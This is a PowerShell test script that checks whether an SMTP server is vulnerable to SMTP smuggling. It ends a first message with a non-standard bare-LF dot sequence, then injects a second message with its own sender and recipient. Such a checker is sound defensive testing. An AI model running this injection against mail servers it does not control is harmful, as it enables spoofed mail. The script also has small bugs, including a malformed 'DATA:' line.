# Test-SMTPSmuggling
#
# Simple SMTP-Client to test SMTP Smigging
[CmdletBinding()]
param (
    [string]$smtpserver = "nawex19.netatwork.de",
    [string]$smtpport = "25",
    [String]$mail1from = "smtpsmuggling1@msxfaq.net",
    [String]$mail1to = "frank.carius4@netatwork.de",
    [String]$mail2from = "smtpsmuggling2@msxfaq.net",
    [String]$mail2to = "fc@netatwork.de",
    [int]$readTimeout=10000   # Read timeout in Milliseconds.  -1= infinite
)
[CmdletBinding()]

class MSXFAQTCPhelper {
    [string]$server;            # IP-Address or DNS-name of the remote host
    [string]$port;               # TCP-Port of the remote service
    [Int32]$ReadTimeout = 1000;  # Default ReadTimeout in Milliseconds
    [string]$Message;            # contains last message
    $private:DataStream;         # private store for the datastream
    $private:TcpClient;         # private store for TCPClient
    $private:Text;              # private store for text

    MSXFAQTCPhelper() { 
        Write-Verbose "Class MSXFAQTCPhelper initialized without parameters"
        #$this.Init(@{}) 
    }

    MSXFAQTCPhelper([string]$server, [string]$port) {
        Write-Verbose "Class MSXFAQTCPhelper initialized and Connect to Host $($server):$($port)"
        $this.Connect($server, $Port)
    }

    Connect([string]$server, [string]$port) {
        $this.TcpClient = New-Object -TypeName System.Net.Sockets.TcpClient
        Write-Verbose "Connect to Host $($server):$($port)"
        $this.TcpClient.Connect($server, $port)
        if (!$this.TcpClient.Connected){
            Write-Verbose "Unable to Connect - Stop"
        }
        else {
            Write-Verbose "Connection to TCP successful"
            $this.DataStream = $this.TCPClient.GetStream()
        }
    }

    [string] Read() {
        [byte[]]$byte = New-Object byte[] 64512
        $byteCount = $this.DataStream.Read($byte, 0, $byte.Length)
        $this.Message += [text.encoding]::ASCII.GetString( (1..$byteCount | ForEach-Object { $byte[$_-1] } ) )
        return $this.Message   
    }

    [string] Read($readTimeout) {
        [byte[]]$byte = New-Object byte[] 64512
        $oldtimeout = $this.DataStream.ReadTimeout
        $this.DataStream.ReadTimeout=$this.ReadTimeout
        $byteCount = $this.DataStream.Read($byte, 0, $byte.Length)
        $this.Message += [text.encoding]::ASCII.GetString( (1..$byteCount | ForEach-Object { $byte[$_-1] } ) )
        $this.DataStream.ReadTimeout=$oldTimeout
        return $this.Message   
    }

    Write([string]$text){
        $Data = [text.Encoding]::Ascii.GetBytes($text)    
        $this.datastream.Write($Data,0,$Data.length)
    }
}

Write-Host "Start Connection to Server $($smtpserver) Port $($smtpport)"
#$TCPConnection = [MSXFAQTCPhelper]::new()
$TCPConnection = [MSXFAQTCPhelper]::new($smtpserver, $smtpport)
Write-host "Received: $($TCPConnection.Read(5000))"
Write-Host "Send EHLO"
$TCPConnection.Write("EHLO $($env:computername)`r`n")
Write-host "Received: $($TCPConnection.Read(5000))"
Write-Host "Send MAIL FROM: $($mail1from)"
$TCPConnection.Write("MAIL FROM: $($mail1from)`r`n")
Write-host "Received: $($TCPConnection.Read(5000))"
Write-Host "Send RCPT TO: $($mail1to)"
$TCPConnection.Write("RCPT TO: $($mail1to)`r`n")
Write-host "Received: $($TCPConnection.Read(5000))"
Write-Host "Send DATA"
$TCPConnection.Write("DATA`r`n")
Write-host "Received: $($TCPConnection.Read(5000))"
Write-Host "Send Header"
$TCPConnection.Write("From: $($mail1from)`r`n")
$TCPConnection.Write("To: $($mail1to)`r`n")
$TCPConnection.Write("Subject: SMTP Smuggling Mail1`r`n")
$TCPConnection.Write("Message-ID: $($mail1from)`r`n")
$TCPConnection.Write("Date: $(Get-Date -Format r)`r`n")
$TCPConnection.Write("MIME-Version: 1.0`r`n")
$TCPConnection.Write("Content-Type: text/plain; charset=us-ascii`r`n")
$TCPConnection.Write("Content-Transfer-Encoding: 7bit`r`n")
$TCPConnection.Write("`r`n")
Write-Host "Send Body"
$TCPConnection.Write("Body Mail1 Line1`r`n")
$TCPConnection.Write("Body Mail1 Line2`n")
$TCPConnection.Write(".`r`n")
Write-Host "Send SMTP Smuggling"
$TCPConnection.Write("MAIL FROM: $($mail2from)`r`n")
$TCPConnection.Write("RCPT TO: $($mail2to)`r`n")
$TCPConnection.Write("DATA: $($mail2to)`r`n")
$TCPConnection.Write("From: $($mail2from)`r`n")
$TCPConnection.Write("To: $($mail2to)`r`n")
$TCPConnection.Write("Subject: SMTP Smuggling Mail2`r`n")
$TCPConnection.Write("Message-ID: $($mail2from)`r`n")
$TCPConnection.Write("Date: $(Get-Date -Format r)`r`n")
$TCPConnection.Write("MIME-Version: 1.0`r`n")
$TCPConnection.Write("Content-Type: text/plain; charset=us-ascii`r`n")
$TCPConnection.Write("Content-Transfer-Encoding: 7bit`r`n")
$TCPConnection.Write("`r`n")
Write-Host "Send Body"
$TCPConnection.Write("Body Mail2 Line1`r`n")
$TCPConnection.Write("Body Mail2 Line2`r`n")
$TCPConnection.Write("`r`n.`r`n")
Write-Host "Sending Done"
Write-host "Received: $($TCPConnection.Read(5000))"

$TcpClient.Close()
$TcpClient.Dispose()
Write-host "----- Done -------"